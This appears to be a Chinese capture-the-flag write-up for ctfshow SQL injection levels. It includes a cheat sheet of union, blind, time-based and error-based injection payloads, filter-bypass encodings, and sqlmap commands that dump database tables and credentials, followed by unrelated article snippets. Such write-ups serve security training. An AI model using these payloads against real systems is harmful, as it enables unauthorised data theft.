ctfshow——SQL注入

文章目录

  • SQL注入基本流程
    • 普通SQL注入
    • 布尔盲注
    • 时间盲注
    • 报错注入——extractvalue()
    • 报错注入——updataxml()
    • Sqlmap的用法
  • web 171——正常联合查询
  • web 172——查看源代码、联合查询
  • web 173——查看源代码、联合查询
  • web 174——布尔盲注
  • web 176
  • web 177——过滤空格
  • web 178——过滤空格
  • web 179——过滤空格
  • web 180——过滤空格
  • web 181
  • web 182
  • web 201
  • web 202

SQL注入基本流程

普通SQL注入

	id=1'    //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 and 1=2 union select 1,2,3, ... #   //查看回显点
	id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名
	id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名
	id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

使用union select的时候,需要使前面一条语句错误。
关于注释符#-- (有个空格)--+的讨论

  • get请求中只能用--+
    url中#是用来指导浏览器动作的,对服务器端无效;在url传输过程中,-- 中的空格会被忽略。
  • post请求中则都可以。

布尔盲注

	id=1' //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

时间盲注

	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

报错注入——extractvalue()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

进行报错注入的时候,需要对id参数进行闭合。

报错注入——updataxml()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

Sqlmap的用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

web 171——正常联合查询

在这里插入图片描述
首先判断是否存在SQL注入:

id=1' # 使用单引号看报不报错,报错就说明存在SQL注入

在这里插入图片描述

id=1' order by 3 --+ 

注意:如果id='1--+',这里面的注释(--+)是不起效的。

在这里插入图片描述

id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。

在这里插入图片描述

-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名

在这里插入图片描述

-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容

在这里插入图片描述

web 172——查看源代码、联合查询

查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1

在这里插入图片描述

	id=1'    //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //正确,说明不是数字型注入
	
	id=1' and 1=1 # 正确
	id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
	
	id=1' order by <数字> # //判断字段数
	id=-1' union select 1,2,3, ... #   //查看回显点
	id=-1' union select 1,2,database(), ... #   //查看数据库名
	id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名
	id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

注意:关于and 1=1and 1=2,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。

在这里插入图片描述

web 173——查看源代码、联合查询

同web172

web 174——布尔盲注

id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入
	
id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度

在这里插入图片描述

web 176

1' or 1=1 --+

在这里插入图片描述

web 177——过滤空格

空格被过滤,就用/**/替换。
在这里插入图片描述

web 178——过滤空格

空格被过滤,/**/也用不了,用%09%0b替换。
在这里插入图片描述

web 179——过滤空格

空格被过滤,/**/%09%0b也用不了,用%0c替换。
在这里插入图片描述

web 180——过滤空格

空格被过滤,/**/+%09%0b也用不了,用%0c%2b(+的url编码)替换。
在这里插入图片描述

web 181

payload: 0'or(username='flag')and'1,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;

  • 因为and 的优先级比 or 要高,故注入后:
    select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
  • 前面满足条件 id=0 的记录不存在,故该语句可简化为
    select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
  • 先计算 and,再计算 or,最后得到满足 username='flag' 的记录,即 flag
    在这里插入图片描述

web 182

payload: -1'or(username%0clike%0c'%fla%')and%0c'1。不知道为啥这里%0c没有被过滤。
在这里插入图片描述

web 201

这一关开始使用sqlmap。
在这里插入图片描述
User-Agent需要为sqlmapreferer需要为stf.show
在这里插入图片描述
一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u参数指定要测试的网址,--user-agent用来指定UA头,--referer伪造referer。命令如下:

python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent sqlmap --referer ctf.show
  • 跑数据包的时候,在需要跑的参数后面加*
  • -u参数中,链接用双引号、加上协议。

在这里插入图片描述
在这里插入图片描述

web 202

--data指定 sqlmap 以 post 方式提交数据。

python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/" --data "id=1" --user-agent sqlmap --referer ctf.show

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/586239.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LLM 构建Data Multi-Agents 赋能数据分析平台的实践之③:数据分析之二(大小模型协同)

一、概述 随着新一代信息技术在产业数字化中的应用&#xff0c;产生了大量多源多模态信息以及响应的信息处理模式&#xff0c;数据孤岛、模型林立的问题也随之产生&#xff0c;使得业务系统臃肿、信息处理和决策效率低下&#xff0c;面对复杂任务及应用场景问题求解效率低。针…

【iOS】消息流程分析

文章目录 前言动态类型动态绑定动态语言消息发送objc_msgSendSEL&#xff08;selector&#xff09;IMP&#xff08;implementation&#xff09;IMP高级用法 MethodSEL、IMP、Method总结流程概述 快速查找消息发送快速查找的总结buckets 慢速查找动态方法解析resolveInstanceMet…

如何远程访问服务器?

在现代信息技术的快速发展下&#xff0c;远程访问服务器已成为越来越多用户的需求。远程访问服务器能够让用户随时随地通过网络连接服务器&#xff0c;实现数据的传输和操作。本文将介绍远程访问服务器的概念&#xff0c;以及一种广泛应用于不同行业的远程访问解决方案——【天…

软考之零碎片段记录(二十九)+复习巩固(十七、十八)

学习 1. 后缀式&#xff08;逆波兰式&#xff09; 2. c/c语言编译 类型检查是语义分析 词法分析。分析单词。如单词的字符拼写等语法分析。分析句子。如标点符号、括号位置等语言上的错误语义分析。分析运算符、运算对象类型是否合法 3. java语言特质 即时编译堆空间分配j…

2024抖音AI图文带货班:在这个赛道上 乘风破浪 拿到好效果

课程目录 1-1.1 AI图文学习指南 1.mp4 2-1.2 图文带货的新机会 1.mp4 3-1.3 2024年优质图文新标准 1.mp4 4-1.4 图文如何避免违规 1.mp4 5-1.5 优质图文模板解析 1.mp4 6-2.1 老号重启 快速破局 1.mp4 7-2.2 新号起号 不走弯路 1.mp4 8-2.3 找准对标 弯道超车 1.mp4 9…

深度学习之基于Tensorflow卷积神经网络公共区域行人人流密度可视化系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 在公共区域&#xff0c;如商场、火车站、地铁站等&#xff0c;人流密度的监控和管理对于确保公共安全…

anaconda的安装和Jupyter Notebook修改默认路径

anaconda的安装 就一个注意事项:在结尾时候记得配置系统环境变量 要是没有配置这个环境变量,后面就不能cmd启动Jupyter Notebook Jupyter Notebook修改默认路径 我们要找到Jupyter Notebook的配置文件 输入下面指令 jupyter notebook --generate-config就可以找到存放配置文…

Linux图形化界面怎么进入?CentOS 7图形界面切换

CentOS 7默认只安装命令行界面。要切换到图形界面&#xff0c;需要先检查系统是否安装图形界面&#xff0c;在终端输入以下命令&#xff1a; systemctl get-default若是返回结果是“multi-user.target”表示系统没有安装图形界面&#xff1b;若是返回结果是“graphical.target…

上传jar到github仓库,作为maven依赖存储库

记录上传maven依赖包到github仓库问题 利用GitHubPackages作为依赖的存储库踩坑1 仓库地址问题踩坑2 Personal access tokens正确姿势一、创建一个普通仓库&#xff0c;比如我这里是fork的腾讯Shadow到本地。地址是&#xff1a;https://github.com/dhs964057117/Shadow二、生成…

【分享】如何将word格式文档转化为PDF格式

在日常的办公和学习中&#xff0c;我们经常需要将Word文档转换为PDF格式。PDF作为一种通用的文件格式&#xff0c;具有跨平台、易读性高等优点&#xff0c;因此在许多场合下都更为适用。那么&#xff0c;如何实现Word转PDF呢&#xff1f;本文将介绍几种常用的方法&#xff0c;帮…

Git推送本地项目到gitee远程仓库

Git 是一个功能强大的分布式版本控制系统&#xff0c;它允许多人协作开发项目&#xff0c;同时有效管理代码的历史版本。开发者可以克隆一个公共仓库到本地&#xff0c;进行更改后将更新推送回服务器&#xff0c;或从服务器拉取他人更改&#xff0c;实现代码的同步和版本控制。…

Stability AI 推出稳定音频 2.0:为创作者提供先进的 AI 生成音频

概述 Stability AI 的发布再次突破了创新的界限。这一尖端模型以其前身的成功为基础&#xff0c;引入了一系列突破性的功能&#xff0c;有望彻底改变艺术家和音乐家创建和操作音频内容的方式。 Stable Audio 2.0 代表了人工智能生成音频发展的一个重要里程碑&#xff0c;为质量…

PHP算命源码_最新测算塔罗源码_可以运营

功能介绍 八字精批、事业财运、姓名分析、宝宝起名、公司测名、姓名配对、综合详批、姻缘测算、牛年感情、PC版测算、八字合婚、紫微斗数、鼠年运程、月老姻缘、许愿祈福、号码解析、塔罗运势、脱单占卜、感情继续、脱单占卜、塔罗爱情、心理有你、能否复合、暗恋对象、是否分…

JavaScript任务执行模式:同步与异步的奥秘

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

设计模式之代理模式ProxyPattern(六)

一、代理模式介绍 1、什么是代理模式&#xff1f; 代理模式是一种结构型设计模式&#xff0c;它允许为其他对象提供一个替代品或占位符&#xff0c;以控制对这个对象的访问。 2、代理模式的角色构成 抽象主题&#xff08;Subject&#xff09;&#xff1a;定义了真实主题和代…

FineBI学习:K线图

效果图 底表结构&#xff1a;日期、股票代码、股票名称、开盘价、收盘价、最高价、最低价 步骤&#xff1a; 横轴&#xff1a;日期 纵轴&#xff1a;开盘价、最低价 选择【自定义图表】&#xff0c;或【瀑布图】 新建字段&#xff1a;价差&#xff08;收盘-开盘&#xf…

鸿蒙准备1

鸿蒙心路 感慨索性&#xff0c; 看看鸿蒙吧。打开官网相关介绍 新建工程目录结构 感慨 最近面试Android应用开发&#xff0c;动不动就问framework的知识&#xff0c;什么touch事件的触发源是啥&#xff08;eventHub&#xff09;&#xff0c;gc流程是啥&#xff0c;图形框架是什…

VS2022 .Net6.0 无法打开窗体设计器

拿Vs2022 建了个Demo&#xff0c;运行环境是net6.0-windows&#xff0c;无论双击或是右键都打不开窗体设计器 打开项目目录下的*.csproj.user <?xml version"1.0" encoding"utf-8"?> <Project ToolsVersion"Current" xmlns"htt…

【Hadoop】-Hive客户端:HiveServer2 Beeline 与DataGrip DBeaver[14]

HiveServer2 & Beeline 一、HiveServer2服务 在启动Hive的时候&#xff0c;除了必备的Metastore服务外&#xff0c;我们前面提过有2种方式使用Hive&#xff1a; 方式1&#xff1a; bin/hive 即Hive的Shell客户端&#xff0c;可以直接写SQL方式2&#xff1a; bin/hive --…

llama_index微调BGE模型

微调模型是为了让模型在特殊领域表现良好,帮助其学习到专业术语等。 本文采用llama_index框架微调BGE模型,跑通整个流程,并学习模型微调的方法。 一、环境准备 Linux环境,GPU L20 48G,Python3.8.10。 pip该库即可。 二、数据准备 该框架实现了读取各种类型的文件,给…
最新文章